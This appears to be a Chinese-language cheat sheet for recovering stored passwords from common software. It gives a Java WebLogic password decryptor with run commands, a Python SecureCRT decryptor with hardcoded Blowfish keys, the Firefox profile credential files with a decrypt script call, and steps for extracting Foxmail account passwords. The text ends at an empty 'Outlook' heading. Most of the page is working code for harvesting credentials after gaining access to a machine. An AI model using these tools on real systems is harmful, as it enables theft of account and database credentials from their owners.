常用软件密码解密
Weblogic
- 登陆密码
- 数据库配置文件(Oracle\Middleware\user_projects\domains\base_domain\config\jdbc\tstJDBCDataScouce-5006-jdbc.xml)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import weblogic.security.internal.*; import weblogic.security.internal.encryption.*; public class WebLogicDecryptor { private static ClearOrEncryptedService ces; public static void main(String[] args) throws Exception { if (args.length < 1) { throw new Exception("must set [domainDir] [encryptStr]"); } ces = new ClearOrEncryptedService( SerializedSystemIni.getEncryptionService(args[0])); System.out.println("Decrypted: " + ces.decrypt(args[1])); } }
|
- 设置环境变量
base_domain\bin\setDomainEnv.cmd
- 编译
javac WebLogicDecryptor.java
- 运行
java WebLogicDecryptor D:\Server\Oracle\Middleware\user_projects\domains\base_domain {AES}9E3OyXexBQpZ1q0nyrYG4RXR44LVBEscuNXLH0Ya1Q8=
https://github.com/NetSPI/WebLogicPasswordDecryptor
1 2
| javac -classpath bcprov-jdk15on-1.58.jar WebLogicPasswordDecryptor.java java -Djava.ext.dirs=. WebLogicPasswordDecryptor "./SerializedSystemIni.dat" "{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug="
|
补丁安装
1 2 3
| ./bsu.cmd -prod_dir=c:\Oracle\Middleware\wlserver_10.3 -status=applied -verbose -view ./bsu.sh -view -status=downloaded -prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3 -patch_download_dir=/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir ./bsu.sh -install -patch_download_dir=/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir -prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3 -patchlist=GFWX -verbose
|
Firefox
nss3.dll路径
C:\Program Files (x86)\Mozilla Firefox\nss3.dll
火狐Profiles地址
C:\Users\administrator\AppData\Roaming\Mozilla\Firefox\Profiles\zvu7t3k2.default
cert8.db
key3.db
logins.json
ff_decrypt.py profilesfolder
SecureCRT
https://github.com/gitPoc32/Forensic/blob/master/VanDykeSecureCRT/SecureCRT-decryptpass.py
1 2 3 4 5 6 7 8 9 10 11 12 13
| from Crypto.Cipher import Blowfish def decrypt(password) : c1 = Blowfish.new('5F B0 45 A2 94 17 D9 16 C6 C6 A2 FF 06 41 82 B7'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8) c2 = Blowfish.new('24 A6 3D DE 5B D3 B3 82 9C 7E 06 F4 08 16 AA 07'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8) padded = c1.decrypt(c2.decrypt(password.decode('hex'))[4:-4]) p = '' while padded[:2] != '\x00\x00' : p += padded[:2] padded = padded[2:] return p.decode('UTF-16') print decrypt("xxx240f919a7a477198d1f6ce3a1fbf5a3671c82483f34bed1304c7ebe8de345");
|
Foxmail
版本小于 7.0 Foxmail\Storage\test@domain.com\Accounts\Account.stg
版本大于 7.0 Account.cfg
- Account.stg 文件可用工具破解。
- Account.cfg 格式的将Account目录复制到同版本Storage目录下,修改FMStorage.list文件添加新邮箱 Storage\test@domain.com\,启动客户端用星号密码查看器查看密码。
Outlook